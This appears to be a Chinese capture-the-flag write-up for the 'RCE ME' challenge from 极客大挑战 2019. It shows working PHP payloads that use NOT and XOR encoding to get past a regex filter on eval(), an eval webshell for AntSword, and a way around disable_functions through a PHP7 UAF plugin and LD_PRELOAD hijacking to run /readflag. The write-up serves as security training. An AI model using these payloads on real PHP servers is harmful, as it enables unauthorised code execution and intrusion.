[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)

题目进去后,很简单的代码,显然命令执行:
在这里插入图片描述
看到了eval(),应该是用system等函数来实现命令执行。
但是得要先绕过preg_match()中正则表达式的限制,一开始傻乎乎的直接传了个数组,妄图绕过preg_match(),这很显然是不行的。
附上大佬的文章:关于PHP正则的一些绕过方法

现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

也可以用取反urlencode编码绕过:

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"                                      
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator> 

payload: ?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
在这里插入图片描述
可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下:

先构造一个shell连上蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
 ?>

在这里插入图片描述
payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);  //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

检验shell有效
在这里插入图片描述
上蚁剑,发现一个flag文件(空的),一个readflag文件
在这里插入图片描述
需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell。
在这里插入图片描述
所以这里需要绕过这个disable_functions,并执行命令。

方法一:想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
在这里插入图片描述
运行得到终端,运行/readflag获得Flag:
在这里插入图片描述
方法二:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
EXP地址
具体请参考出题人博客,现在上传文件开始劫持:
在/var/tmp/目录存在上传权限,上传我们的exp:

上传这两个文件:
在这里插入图片描述
然后需要重新再构造一下payload,我这就直接用网上的异或payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

即为

?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
// assert(eval($_POST['a']))

包含我们的exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

执行得到flag:
在这里插入图片描述
参考:https://blog.csdn.net/mochu7777777/article/details/105136633

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值